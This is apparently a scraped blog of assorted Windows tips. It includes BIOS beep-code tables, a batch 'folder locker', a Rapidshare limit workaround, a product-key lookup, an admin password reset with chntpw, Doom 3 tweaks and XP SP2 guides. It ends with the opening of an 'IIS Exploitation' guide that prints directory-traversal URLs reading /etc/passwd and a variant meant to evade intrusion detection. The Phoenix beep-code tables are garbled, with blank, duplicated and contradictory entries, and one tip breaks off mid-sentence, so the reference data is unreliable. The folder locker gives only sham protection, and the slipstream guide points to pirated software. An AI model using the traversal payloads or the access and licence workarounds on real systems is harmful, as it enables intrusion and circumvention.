When a computer is first turned on, or rebooted, its BIOS performs a power-on self test (POST) to test the system's hardware, checking to make sure that all of the system's hardware components are working properly. Under normal circumstances, the POST will display an error message; however, if the BIOS detects an error before it can access the video card, or if there is a problem with the video card, it will produce a series of beeps, and the pattern of the beeps indicates what kind of problem the BIOS has detected.

Because there are many brands of BIOS, there are no standard beep codes for every BIOS. The two most-used brands are AMI (American Megatrends International) and Phoenix.

AMI Beep Codes

Beep Code Meaning

1 beep - DRAM refresh failure. There is a problem in the system memory or the motherboard.

2 beeps - Memory parity error. The parity circuit is not working properly.

3 beeps - Base 64K RAM failure. There is a problem with the first 64K of system memory.

4 beeps - System timer not operational. There is problem with the timer(s) that control functions on the motherboard.

5 beeps - Processor failure. The system CPU has failed.

6 beeps - Gate A20/keyboard controller failure. The keyboard IC controller has failed, preventing gate A20 from switching the processor to protect mode.

7 beeps - Virtual mode exception error.

8 beeps - Video memory error. The BIOS cannot write to the frame buffer memory on the video card.

9 beeps - ROM checksum error. The BIOS ROM chip on the motherboard is likely faulty.

10 beeps - CMOS checksum error. Something on the motherboard is causing an error when trying to interact with the CMOS.

11 beeps - Bad cache memory. An error in the level 2 cache memory.

1 long beep, 2 short - Failure in the video system.

1 long beep, 3 short - A failure has been detected in memory above 64K.

1 long beep, 8 short - Display test failure.

Continuous beeping - A problem with the memory or video.

Phoenix Beep Codes

Phoenix uses sequences of beeps to indicate problems. The "-" between each number below indicates a pause between each beep sequence. For example, 1-2-3 indicates one beep, followed by a pause and two beeps, followed by a pause and three beeps. Phoenix version before 4.x use 3-beep codes, while Phoenix versions starting with 4.x use 4-beep codes. Click here for AMI BIOS beep codes.

4-Beep Codes

Beep Code Meaning

1-1-1-3 Faulty CPU/motherboard. Verify real mode.

1-1-2-1 Faulty CPU/motherboard.

1-1-2-3 Faulty motherboard or one of its components.

1-1-3-1 Faulty motherboard or one of its components. Initialize chipset registers with initial POST values.

1-1-3-2 Faulty motherboard or one of its components.

1-1-3-3 Faulty motherboard or one of its components. Initialize CPU registers.

1-1-3-2

1-1-3-3

1-1-3-4 Failure in the first 64K of memory.

1-1-4-1 Level 2 cache error.

1-1-4-3 I/O port error.

1-2-1-1 Power management error.

1-2-1-2

1-2-1-3 Faulty motherboard or one of its components.

1-2-2-1 Keyboard controller failure.

1-2-2-3 BIOS ROM error.

1-2-3-1 System timer error.

1-2-3-3 DMA error.

1-2-4-1 IRQ controller error.

1-3-1-1 DRAM refresh error.

1-3-1-3 A20 gate failure.

1-3-2-1 Faulty motherboard or one of its components.

1-3-3-1 Extended memory error.

1-3-3-3

1-3-4-1

1-3-4-3 Error in first 1MB of system memory.

1-4-1-3

1-4-2-4 CPU error.

1-4-3-1

2-1-4-1 BIOS ROM shadow error.

1-4-3-2

1-4-3-3 Level 2 cache error.

1-4-4-1

1-4-4-2

2-1-1-1 Faulty motherboard or one of its components.

2-1-1-3

2-1-2-1 IRQ failure.

2-1-2-3 BIOS ROM error.

2-1-2-4

2-1-3-2 I/O port failure.

2-1-3-1

2-1-3-3 Video system failure.

2-1-1-3

2-1-2-1 IRQ failure.

2-1-2-3 BIOS ROM error.

2-1-2-4 I/O port failure.

2-1-4-3

2-2-1-1 Video card failure.

2-2-1-3

2-2-2-1

2-2-2-3 Keyboard controller failure.

2-2-3-1 IRQ error.

2-2-4-1 Error in first 1MB of system memory.

2-3-1-1

2-3-3-3 Extended memory failure.

2-3-2-1 Faulty motherboard or one of its components.

2-3-2-3

2-3-3-1 Level 2 cache error.

2-3-4-1

2-3-4-3 Motherboard or video card failure.

2-3-4-1

2-3-4-3

2-4-1-1 Motherboard or video card failure.

2-4-1-3 Faulty motherboard or one of its components.

2-4-2-1 RTC error.

2-4-2-3 Keyboard controller error.

2-4-4-1 IRQ error.

3-1-1-1

3-1-1-3

3-1-2-1

3-1-2-3 I/O port error.

3-1-3-1

3-1-3-3 Faulty motherboard or one of its components.

3-1-4-1

3-2-1-1

3-2-1-2 Floppy drive or hard drive failure.

3-2-1-3 Faulty motherboard or one of its components.

3-2-2-1 Keyboard controller error.

3-2-2-3

3-2-3-1

3-2-4-1 Faulty motherboard or one of its components.

3-2-4-3 IRQ error.

3-3-1-1 RTC error.

3-3-1-3 Key lock error.

3-3-3-3 Faulty motherboard or one of its components.

3-3-3-3

3-3-4-1

3-3-4-3

3-4-1-1

3-4-1-3

3-4-2-1

3-4-2-3

3-4-3-1

3-4-4-1

3-4-4-4 Faulty motherboard or one of its components.

4-1-1-1 Floppy drive or hard drive failure.

4-2-1-1

4-2-1-3

4-2-2-1 IRQ failure.

4-2-2-3

4-2-3-1

4-2-3-3

4-2-4-1 Faulty motherboard or one of its components.

4-2-4-3 Keyboard controller error.

4-3-1-3

4-3-1-4

4-3-2-1

4-3-2-2

4-3-3-1

4-3-4-1

4-3-4-3 Faulty motherboard or one of its components.

4-3-3-2

4-3-3-4 IRQ failure.

4-3-3-3

4-3-4-2 Floppy drive or hard drive failure

3-Beep Codes

Beep Code Meaning

1-1-2 Faulty CPU/motherboard.

1-1-3 Faulty motherboard/CMOS read-write failure.

1-1-4 Faulty BIOS/BIOS ROM checksum error.

1-2-1 System timer not operational. There is a problem with the timer(s) that control functions on the motherboard.

1-2-2

1-2-3 Faulty motherboard/DMA failure.

1-3-1 Memory refresh failure.

1-3-2

1-3-3

1-3-4 Failure in the first 64K of memory.

1-4-1 Address line failure.

1-4-2 Parity RAM failure.

1-4-3 Timer failure.

1-4-4 NMI port failure.

2-_-_ Any combination of beeps after 2 indicates a failure in the first 64K of memory.

3-1-1 Master DMA failure.

3-1-2 Slave DMA failure.

3-1-3

3-1-4 Interrupt controller failure.

3-2-4 Keyboard controller failure.

3-3-1

3-3-2 CMOS error.

3-3-4 Video card failure.

3-4-1 Video card failure.

4-2-1 Timer failure.

4-2-2 CMOS shutdown failure.

4-2-3 Gate A20 failure.

4-2-4 Unexpected interrupt in protected mode.

4-3-1 RAM test failure.

4-3-3 Timer failure.

4-3-4 Time of day clock failure.

4-4-1 Serial port failure.

4-4-2 Parallel port failure.

4-4-3 Math coprocessor

Tip 10 :

Lock any folder without any software

NoTe- Its different from invisble as well hidden folder....here u need to have a password with which u can open your filder

here is the code

cls

@ECHO OFF

title Folder Locker

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK

if NOT EXIST Locker goto MDLOCKER

:CONFIRM

echo Are you sure u want to Lock the folder(Y/N)

set/p "cho=>"

if %cho%==Y goto LOCK

if %cho%==y goto LOCK

if %cho%==n goto END

if %cho%==N goto END

echo Invalid choice.

goto CONFIRM

:LOCK

ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

echo Folder locked

goto End

:UNLOCK

echo stuff by satish

echo Enter password to Unlock folder

set/p "pass=>"

if NOT %pass%==TYPE UR PASSWORD HERE goto FAIL

attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"

ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker

echo Folder Unlocked successfully

goto End

:FAIL

echo Invalid password

goto end

:MDLOCKER

md Locker

echo Locker created successfully

goto End

:End

Instructions::

1) Copy the give code in a note pad and save the note pad in your pc with the name name.bat (that is with the extension of .bat). you can replace the name portion with anything u want.

NoTe-- In place of password in the code given type your desired password.

2) A batch file will be created where you hav saved. Now double click on it , it will make a folder with the name locker at the same place where the batch file is save.

3) Now add the files you want to be locked in that folder.

4) Double click on the batch file. It will ask for locking the folder formed. Type y(yes). The folder will be locked and hidden.

5) To unlock,double click on batch file again and enter the password in the new window opened.

Tested By Me Working 100%

Tip 11 :

A code to get unlimited downloads from Rapidshare!

Here it is:

1. Copy and paste this code :

@echo off

echo ipconfig /flushdns

ipconfig /flushdns

echo ipconfig /release

ipconfig /release

echo ipconfig /renew

ipconfig /renew

on your note pad or any other text editor

2. Save the file as : rapidshare.de.bat and leave it on your desktop

3. Every time you download from rapidshare double click on it!

Rip 12 :

Increase your Bandwidth by 20%

Increase your Bandwidth by 20%

Windows uses 20% of your bandwidth! Get it back

A nice little tweak for XP. M*crosoft reserve 20% of your available bandwidth for thei

2011-08-31T04:04:00.003-07:00

Rename a Series of Files

When you download photos from your digital camera, they often have unrecognizable names. You can rename several similar files at once with the following procedure. This also works for renaming other types of files.

1.Open the My Pictures folder. (Click Start, and then click My Pictures.) Or open another folder containing files that you want to rename.

2.Select the files you want to rename. If the files you want are not adjacent in the file list, press and hold CTRL, and then click each item to select it.

3.On the File menu, click Rename.

4.Type the new name, and then press ENTER.

2011-08-31T04:04:00.001-07:00

Way to get xp product code from cd

It really works!!!

There is a way to get the xp product code from the cd.

just explorer the cd

then open the folder I386

then open the file UNATTEND.TXT

andscroll down to the last lineand it goes to show what dumbasses microsoft are u have a product code.

Have fun u never need to search for a product code for xp again...!!!!

2011-08-31T04:03:00.005-07:00

Network Troubleshooting Commands

Troubleshooting computer network is among the most important job descriptions of the network administrators, system administrators, network technicians and the IT consultants. A computer network can have different kinds of problems such as it can be infected with virus and spyware, attacked by hackers, accessed by unauthorized users and may face connectivity failure issues due to the faulty network devices or configurations.

Following is a list of the basic network troubleshooting commands that are built-in the Windows based operating systems and UNIX etc. The right use of these troubleshooting commands can helps a lot in diagnosing and resolving the issues with your computer network.

PING

Ping is the most important troubleshooting command and it checks the connectivity with the other computers. For example your system’s IP address is 10.10.10.10 and your network servers’ IP address is 10.10.10.1 and you can check the connectivity with the server by using the Ping command in following format.

At DOS prompt type Ping 10.10.10.1 and press enter

2011-08-31T04:03:00.003-07:00

Minimum Requirements

http://img4.raidpic.com/91y1ojb.png

2011-08-31T04:03:00.001-07:00

Block websites without any software

1] Browse C:\WINDOWS\system32\drivers\etc

2] Find the file named "HOSTS"

3] Open it in notepad

4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.orkut.com ,

and that site will no longer be accessable.

5] Done!

2011-08-31T04:02:00.007-07:00

Customize the System Tray

You can add your name or anything you like that consists of 8 characters or less. This will replace the AM or PM next to the system time. But you can corrupt some trial licenses of software that you may have downloaded.

1. Open RegEdit
2. Go to HKEY_CURRENT_USER\Control Panel\International
3. Add two new String values, "s1159" and "s2359"
4. Right click the new value name and modify. Enter anything you like up to 8 characters.

If you enter two different values when modifying, you can have the system tray display the two different values in the AM and PM.

2011-08-31T04:02:00.005-07:00

Disabling Drives in My Computer

To turn off the display of local or networked drives when you click on My Computer:

1.Open RegEdit

2.Go toHKEY_CURRENT_USER\Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer

3.Add a New DWORD item and name it NoDrives

4.Give it a value of 3FFFFFF

5.Now when you click on My Computer, none of your drives will show

2011-08-31T04:02:00.003-07:00

Make your Folders Private

Open My Computer

Double-click the drive where Windows is installed (usually drive (C:), unless you have more than one drive on your computer).

If the contents of the drive are hidden, under System Tasks, click Show the contents of this drive.

Double-click the Documents and Settings folder.

Double-click your user folder.

Right-click any folder in your user profile, and then click Properties.

On the Sharing tab, select the Make this folder private so that only I have access to it check box.

2011-08-31T04:02:00.001-07:00

Changing Windows' Icons

You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.

1. Open RegEdit
2. Go to
HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons
3. Add a string value for each Icon you wish to change.
Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.

0= Unknown file type
1= MSN file types
2= Applications Generic
3= Closed Folder
4= Open Folder
5= 5.25" Drive
6= 3.25" Drive
7= Removable Drive
8= Hard Drive
9= NetWork Drive
10= Network Drive Offline
11= CD-ROM Drive
12= RAM Drive
13= Entire Network

14= Network Hub
15= My Computer
16= Printer
17= Network Neighborhood
18= Network Workgroup
19= Start Menu's Program Folders
20= Start Menu's Documents
21= Start Menu's Setting
22= Start Menu's Find
23= Start Menu's Help
24= Start Menu's Run
25= Start Menu's Suspend
26= Start Menu's PC Undock
27= Start Menu's Shutdown

28= Shared
29= Shortcut Arrow
30= (Unknown Overlay)
31= Recycle Bin Empty
32= Recycle Bin Full
33= Dial-up Network
34= DeskTop
35= Control Panel
36= Start Menu's Programs
37= Printer Folder
38= Fonts Folder
39= Taskbar Icon
40= Audio CD

You need to reboot after making changes. You may need to delete the hidden file ShellIconCache if after rebooting the desired Icons are not displayed.

2011-08-31T04:01:00.005-07:00

How to reset Windows admin password without knowing the old password

Here is a simple tutorial on resetting the admin account password of any Windows Operating System. All you will require for this is one Ubuntu live CD.

Insert Ubuntu Live CD and boot from it.
Open terminal and install chntpw in Ubuntu. To do so use the following commands.
sudo apt-get update
sudo apt-get install chntpw
Now mount your Windows volume. In my case it was dev/sda1. Replace it with yours.
sudo mkdir /media/WINDOWS
sudo mount /dev/sda1 /media/WINDOWS
Now navigate to the Windows configuration folder.
cd /media/WINDOWS/WINDOWS/system32/config/
To reset the administrator password enter
sudo chntpw SAM
After completing this command you will see 5 different choices. Select the 1st one and press Enter and done.
http://tipsfromgeek.com/wp-content/uploads/2010/07/chntpw2-300x230.png

2011-08-31T04:01:00.003-07:00

Creating a desktop shortcut for locking your computer

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

2011-08-31T04:01:00.001-07:00

Disable Error Reporting

1. Open Control Panel

2. Click on Performance and Maintenance.

3. Click on System.

4. Then click on the Advanced tab

5. Click on the error-reporting button on the bottom of the windows.

6. Select Disable error reporting.

7. Click OK 8. Click OK

2011-08-31T04:00:00.004-07:00

How to backup your registry

Before you try to edit your PC's registry, make sure that your first export the keys in the registry that you plan to edit, or back up the whole registry. It is a very good practice to always backup your registry because if a problem occurs, you can just restore your registry to its previous state.

These are the easy steps on how you can export your registry keys

► Click Start, and then click Run.

► In the Open box, type regedit, and then click OK.

► On the File menu, click Export.

► In the Save in box, select the box at the bottom the bottom according to weather you want to export all or only selected branches of the registry.

► Next select a location in which to save the backup .reg file. In the File name box, type a file name, and then click Save.

Follow these steps to restore your registry to it's previous state

► To restore registry keys that you exported, double-click the .reg file that you saved.

Posted by Admin at 9:46 PM

2011-08-31T04:00:00.003-07:00

How to Convert FAT to NTFS file system

To convert a FAT partition to NTFS, perform the following steps.

1. Click Start, click Programs, and then click Command Prompt.

2. In Windows XP, click Start, click Run, type cmd and then click OK.

3. At the command prompt, type CONVERT [driveletter]: /FS:NTFS.

4. Convert.exe will attempt to convert the partition to NTFS.

NOTE: Although the chance of corruption or data loss during the conversion from FAT to NTFS is minimal, it is best to perform a full backup of the data on the drive that it is to be converted prior to executing the convert command. It is also recommended to verify the integrity of the backup before proceeding, as well as to run RDISK and update the emergency repair disk (ERD)

2011-08-31T04:00:00.001-07:00

Folder Options Missing

Open Run and then type "gpedit.msc".

Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.Click on Windows Explorer

you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"

Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

I hopes that you will find the option after restarting windows.

2011-08-31T03:58:00.000-07:00

How To Enable Hibernation

Under Windows 98, Me, or 2000 there was an option in the shutdown dialog box to enter the computer into hibernation (where all the content of the RAM is copied to the hard disk).

The shutdown dialog box of Windows XP doesn't offer any longer the hibernation button. Some users may get confused about how to enable the hibernation mode. If this mode is supported by your motherboard (ACPI) you have to do the following:

Click Start and Shut Down,

Point the standby button and maintain the shift key pushed,

A new hibernation button appears: click it while still holding the shift key: voila your PC will hibernate.

2011-02-21T01:07:00.002-08:00

Improve Doom 3's Performances
!!, simple but efficient trick for every1

"The Catalyst 4.9 beta drivers are a sneak peak into future drivers that ATI is continuously working on. They were released mainly for the OpenGL component update, targeting improved Doom3 performance. Having said that, newer generations of hardware will get the most benefit from this driver (X800* series). While I haven't done specific benchmarks, X800 users can see performance increase of 5~30%, depending on the level and the system/hardware type. Regretfully, older hardware, such as 9700's and even 9800's will not get as much benefit. And if paired with a slower system (or with less memory) might see +/- performance improvements."[/size]

Source: www.Teamradeon.com

There is a boost, but don't expect miracles. With that said, give this a read:

As all of you who already have this game recognized the game is very slow even on new Computers.

I found out the reason for this and the solution to fix this problem.

As you already know after installation the game consits only of the doom3.exe and some .PK4 files. Those PK4 files includes the entire game (sounds, videos, textures etc.) in high compressed form.

Normally those files were decompresse during the game.

But this exactly is the problem. Even new CPUs are not able to decompress those files while running the game with good peformance and therfore the game runs very **** also on new computers. I don't know if the develpers of
ID-Soft was just too stupid to think about this or if they have an agreement with some hardware manufacturing firms.

How to get around this problem:

It is very simple. Go to your Doom 3 installation directoy and get inside the folder "Base". There are some .PK4 files you have to open each of them with WinRAR 3.3 and extract their entire contents to the Base dir in you Doom 3 installation folder (replace all files if they are any duplicates). Now you have to delete all .PK4 files in the Base folder to prevent the game to use those compressed files again.

Now the game starts and runs much faster!!!

Have fun playing Doom 3!!!

It supposedly gives a small performance boost and improves some load times.

This is a guarenteed way to get a MASSIVE performance increase to your game, at the expense of taking up a little ore hard drive space (2 gigs approx). I went from running low quality at 800x600 to running High Quality on 1024x768. This improves load times AND framerate/details.

There is a catch! By doing this, you temporarily can't connect to pure multiplayer servers. You have been warned (I'll tell you how to revert it at the end)

After installation, the Doom III Folder consists only of the doom3.exe and some .PK4 files. Those PK4 files includes the entire game (sounds, videos, textures etc.) compressed. They are normally uncompressed in mid game, which is very hard on your CPU. Lets fix this!

1. Make a copy of ALL the files in C:\Program Files\Doom 3\base. This is some big filage, but if you want to revert to MP without reinstalling you need to do it.

2. Unrar the following .pk4 files (just pretend they are .rar's and open them with winrar) into the C:\Program Files\Doom 3\base folder (each one should unrar a single folder such as textures or models):

pak000.pk4
pak001.pk4
pak002.pk4
pak003.pk4
pak004.pk4 (This one has many files, put them all in \Base and over right any that apply.

3. Now delete the files above (pak000-004) or move them to another folder for storage so you can revert to multiplayer.

When you want to revert to multiplayer, restore everything you had before and get rid of the new stuff. I'm not sure if the folder "maps" is the same or not, so make sure you back that up.

When in normal mode, you should have "maps" "savegames" "config.spec" "doomConfig.cfg" "doomkey" "game00.pk4" and "gamex86.dll", nothing else. ALSO! If you open DoomConfig.cfg (C:\programfiles\doom3\base) in notepad and change

seta image_cacheMegs "32"

to a higher number, such as 96 or 128 you will see a big increase too. Go for it bad boys!"

keep informed if one of you manages to test sometime today.

Other stuff I found:

http://www.ocfaq.com/softmod/bios.php

BIOS to flash your ATI's cards

http://www.anandtech.com/cpuchipsets/showdoc.aspx?i=2149&p=3

explanation on how to run the DOOM 3 benchmark demo

2011-02-21T01:07:00.001-08:00

Important Faqs For Sp2

Refer to this site for SP2 FAQs.

Questions like:

Should I slipstream SP1 into Windows XP before SP2? Nope!

View them here:

hXXXp://www.ntu.edu.sg/CITS/getting+help/faqs/windows+xp+sp2.htm#q4

Windows XP SP2 (Service Pack 2) Frequently Asked Questions

What is the size of this Windows XP SP2?
What is the minimum requirement for the system to run Windows XP SP2?
Can I upgrade my system with Windows XP SP2?
Do I have to install an earlier Service Pack 1 before installing Windows XP SP2?
Is there any patch that is required to install prior to SP2 installation?
Where can I download (and install) a copy of Windows XP SP2?
Is there any application that has compatibility issues with Windows XP SP2?
What are the patches found in this Windows XP SP2?
What is new in Windows XP SP2?
How do I install Windows XP SP2?
What is this so called Windows Firewall?
How do I know that the Windows Firewall is enabled in my system?
Can I disable the Windows Firewall?
With Windows Firewall turn on, do I still need to have an anti-virus software installed on my computer?
My computer stops responding when I restart to complete the installation of Windows XP Service Pack 2. What should I do?
I receive a "Stop: c0000135" and "winsrv was not found" error message after I install Windows XP Service Pack 2?
After installing SP2 and reboot my system, I receive this message "Your network administrator can unblock this program for you". Why is this so and what should I do?
When I am surfing to some websites using Internet Explorer, I notice that Internet Explorer does not display some of the pop-up windows? Why is this so and what should I do to display these pop-up windows?

What is the size of this Windows XP SP2?
The size of Windows XP SP2 (Service Pack 2) is about 270MB (back to top)

What is the minimum requirement for the system to run Windows XP SP2?
You need a PC running Microsoft Windows XP with at least 233-MHz processor, 64 MB of RAM and 1.6GB of available hard-disk space during installation. (back to top)

Can I upgrade my system with Windows XP SP2?
If you are using any application/software provided by your School, do a quick check with your School IT Support whether that application/software can run on Win XP SP2. Thereafter, proceed to the next question below.

Note: Before installing Windows XP SP2, it is strongly recommended to back up or make a copy of your data files. (back to top)

Do I have to install an earlier Service Pack 1 before installing Windows XP SP2?
No. (back to top)

Is there any patch that is required to install prior to SP2 installation?
Microsoft has issue a critical patch (KB885523) that will resolve compatibility issue with a non-Microsoft software application installed on your computer. Download and install this patch prior the installation of SP2. This download can be found
CODE
http://www.microsoft.com/downloads/details.aspx?amp;displaylang=en.&familyid=65875203-CF1B-4D32-8F32-E00D004659F6&displaylang=en

** NO ACTIVE LINKS - Ninja **

Microsoft has issue a non-security critical update (KB885626) that will help to resolve an issue where a limited number of systems running a BIOS without production support for Intel Pentium 4 and Intel Celeron D processors based on Prescott C-0 stepping that can potentially hang on Windows XP Service Pack 2 installation.
This download can be found at
CODE
http://support.microsoft.com/default.aspx?scid=kb
;[LN];885626 (back to top)
** NO ACTIVE LINKS - Ninja **

Where can I download (and install) a copy of Windows XP SP2?
You can download a copy of Windows XP SP2 from one of the following methods:
a. Microsoft Download Site
b. Windows Update
c. Automatic Update
d. CD Order Process from Microsoft
e. CITS Software Directory (back to top)

Is there any application that has compatibility issues with Windows XP SP2?
Microsoft has list out a list of programs that are known to have experience a loss of
functionality when running on Windows XP SP2. Click here for more details.

There is also a list of programs that may stop working after installing Win XP SP2.
Click here for the details. (back to top)

What are the patches found in this Windows XP SP2?
Please refer to the following Microsoft sites for the updates:
a. Security patches
b. Fixes (back to top)

What is new in Windows XP SP2?
This SP2 has improved security technologies that will withstand malicious viruses and worms attacks. These technologies include:
a. Network protection (protection against malicious attacks)
b. Memory protection (prevent buffer overruns)
c. E-mail handling (improved attachment control using AES API)
d. Browsing security (lock down Local Machine zone and turn on pop-up blocker)
e. Computer maintenance (keep computer with the latest security updated)

For greater details, please refer to Microsoft site here (back to top)

How do I install Win XP SP2?
After you have downloaded the Win XP SP2, the Setup Wizard will appear.
a. Note: Remember to protect or back up all data files
b. In the 'Welcome to Windows XP Service Pack 2 Setup Wizard', click Next.
c. In the 'License Agreement', select 'I Agree' and click Next.
d. In the next screen for 'Uninstalled Folders', click Next to proceed.
e. The system will proceed to do the inspection of your current configuration, archive your current files and update your files. This will take quite a while, so please wait patiently.
f. At the end of the installation, click Finish and this will reboot your system.
g. After rebooting, a firewall option screen may appear. Select the 'ON' radio button to proceed with the turning on the Windows Firewall.
h. Ensure that the security essentials are all turn ON (by clicking Start -> Control Panel -> Security Center) (back to top)

What is this so called Windows Firewall?
Windows Firewall (previously known as Internet Connection Firewall or ICF in Win XP) is a software-based, stateful filtering firewall for Microsoft Windows XP.

After the Win XP SP2 installation, this Windows Firewall is turned on by default.

Windows Firewall provides protection for computers that are connected to a network by preventing unsolicited inbound connections through TCP/IP. The Configuration options include:
a. Enabling static exceptions for ports
b. Enabling exceptions for applications
c. Configuring basic ICMP options
d. Logging dropped packets and successful connections (back to top)

How do I know that the Windows Firewall is enabled in my system?
Go to the Control Panel and click Security Center and check that the Firewall is ON

Alternatively, if you open up the LAN connection icon, you will notice a lock symbol being shown.

Can I disable the Windows Firewall?
You can manually turn it off, if you have the administrator rights. However, it is advisable to leave it on in order to minimize any virus, worms or trogons attacks.

With Windows Firewall turn on, do I still need to have an anti-virus software installed on my computer?
Even with Windows Firewall turn on, it is still necessary to have an anti-virus software installed in the computer. Windows Firewall is NOT a replacement for anti-virus software but acts as a compliment to anti-virus software. (back to top)

My computer stops responding when I restart to complete the installation of Windows XP Service Pack 2. What should I do?
This issue may occur if either (1) your computer uses an Intel Pentium 4 or Intel Celeron D processor that is based on Prescott C-0 processor stepping or (2) Your computer has a BIOS version that is out of specification.

Contact your computer manufacturer for an updated version of BIOS that provides production support for the processor that is installed in your computer or refer to Microsoft article
CODE
http://support.microsoft.com/default.aspx?scid=kb
;[LN];885626 for resolution.
(back to top)
** NO ACTIVE LINKS - Ninja **

I receive a "Stop: c0000135" and "winsrv was not found" error message after I install Windows XP Service Pack 2?
This problem may occur if either you have (1) T.V. Media (TvMedia.tvmbho) from Total Velocity Corporation is installed on your computer or (2) not installed Critical Update 885523 or (3) tried to install Windows XP SP2.

Refer to Microsoft article
CODE
http://support.microsoft.com/?kbid=885523
for resolution
(back to top)
** NO ACTIVE LINKS - Ninja **

After installing SP2 and reboot my system, I receive this message "Your network administrator can unblock this program for you". Why is this so and what should I do?
This is because you are not the administrator of this system. You should use an administrator account to log in to unblock this program.
After logging in as an administrator, you can either choose to 'Keep Blocking' this program or 'Unblock' this program or 'Ask Me Later' when I run that program again as shown below.

When I am surfing to some websites using Internet Explorer, I notice that Internet Explorer does not display some of the pop-up windows? Why is this so and what should I do to display these pop-up windows?
When you install SP2, the pop-up blocker is turned on in Internet Explorer. It will block most automcatic pop-ups but it will play a sound and show the Information Bar when a pop-up is blocked as shown below.

To temporarily or always allow pop-ups from that website, click the Information Bar when it notifies a pop-up has been blocked. Choose the correct setting as shown below.

If you choose to 'Always Allow Pop-ups from This Site', it will prompt you to confirm again to permanently trust this website to allow pop-ups. Click 'Yes' if you are sure.

2011-02-21T01:05:00.000-08:00

Guide to Slipstreaming Service Pack 2
DarkLegacy's Guide to Slipstreaming Service Pack 2

Note: All images are hosted with ImageShack.

• This guide will allow you to sucsessfully install Service Pack 2 on the original (gold) code of Microsoft Windows XP.
• The version of Windows you have purchased/downloaded does not matter as far as slipstreaming (they're all the same anyway).

Things you need:
• Microsoft Windows XP (duh :P)
• Service Pack 2:

URL http://download.microsoft.com/download/1/6/5/165b076b-aaa9-443d-84f0-73cf11fdcdf8/WindowsXP-KB835935-SP2-ENU.exe

• Windows XP Boot sector:

http://www.neowin.net/downloads/xpboot.bin

• Nero Burning Rom (find it on SoD)

Step One

Insert the Microsoft Windows XP CD into your CD-ROM drive, and create a new folder on your hard-drive labelled "CD".

Copy all of the files from the Windows XP CD to the "CD" folder.

Step Two

Download Service Pack 2 and place it within the root of your hard-drive.
Ex: C:\ D:\ etc..

Step Three

Go to Start -> Run and type in "F:\WindowsXP-KB835935-SP2-ENU.exe -s:F:\CD" (depending on where you put the folder)

The actual command is -s:drive:\folder

Step Four

The Service Pack 2 updater will automatically slipstream Service Pack 2 into your "CD" folder.

Step Five

If you browse back to the CD folder, you'll notice that new folders and files appeared from the SP2 update. At this point, you can include any software you wish onto this CD, but make sure that the size of the folder does not exceed the media you are burning on. If you're not sure, a regular CD is 700 megabytes.

Step Six

Go to Start and Search for files and folders. Go to all files and folders, and type in "wpa.dbl". This is the activation file for your current installed version of XP. Make a copy of the file and paste it into your CD folder.

Step Seven

Open up Nero Smartstart, and click on the icon that looks like two people. This turns the program into "professional mode". Search for create a bootable CD. Click on it, and make sure that your settings agree with the following picture; also make sure that you downloaded the Windows XP boot sector.

Step Eight

Continue onto the next tab, and make sure that your settings agree with the picture:

Step Nine

In this step, you can label your CD whatever the hell you want. I recommend WXPSP2_EN.

Step Ten

Go to "new" and locate your CD folder. Drag all of the files in the CD folder to the compilation window on the right, and nero will calculate how much disk space was used. If it exceeds 700 MB, get rid of some programs that you added to the CD. If you didn't add anything; just push burn.

Step Eleven

Make sure that your settings check with the picture:

Step Twelve

Just push burn, and that's it! Congradulations, you just made a bootable Win XP CD with SP2 slipstreamed!

2011-02-21T01:03:00.000-08:00

Guide to IIS Exploitation

***************************************************************************
* Guide to IIS Exploitation *
* by fugjostle *
* *
* V.1.0.1 *
* *
* Questions? Comments? Email: fugjostle at ch0wn.com *
***************************************************************************

Disclaimer: I do not condone hacking IIS servers in any way, shape or form. This guide is intended as a guide for admins to help them understand what most script kiddies don't understand but are happy to exploit.

--[On the first day, God created directory traversal]

Relative paths are the developers friend. They allow an entire website to be moved to another directory without the need for changing all the links in the html. For example, lets say we have a webpage called 'pictures.html' in the htdocs dir:

Absolute path: /home/webpages/htdocs/pictures.html
Absolute path: /home/webpages/images/pic1.gif

In the html you can refer to the 'pic1.gif' via an absolute path shown above or use a relative path:

Relative path: ../images/pic1.gif

The relative path tells the server that it has to go to the parent directory (dot dot) --> from /home/webpages/htdocs to /home/webpages. Then the server goes into the images dir and looks for the gif file to display.

Anyone who has used the 'cd' command in DOS and *nix should be familiar with the operation. So what's the problem I hear you ask... well, the programmers of web server didn't think to check the supplied URL to ensure that the requested file was actually in the web directory. This allows someone to backtrack through the servers directory structure and request files that the web server has access to. For example,

http://www.target.com/../../../etc/passwd

NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):

http://www.target.com//....//....//...././etc/./passwd

The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.

--[On the second day, God created Hexadecimal]

Once programmers started to realise the mistake they began to create parser
routines to check for naughty URL's and keep the requests within the
document root. Then along comes a wiley hacker who wonders if by encoding
the URL will it still be recognised by the parser routines.

You may have noticed that when you enter a URL that includes a space it is
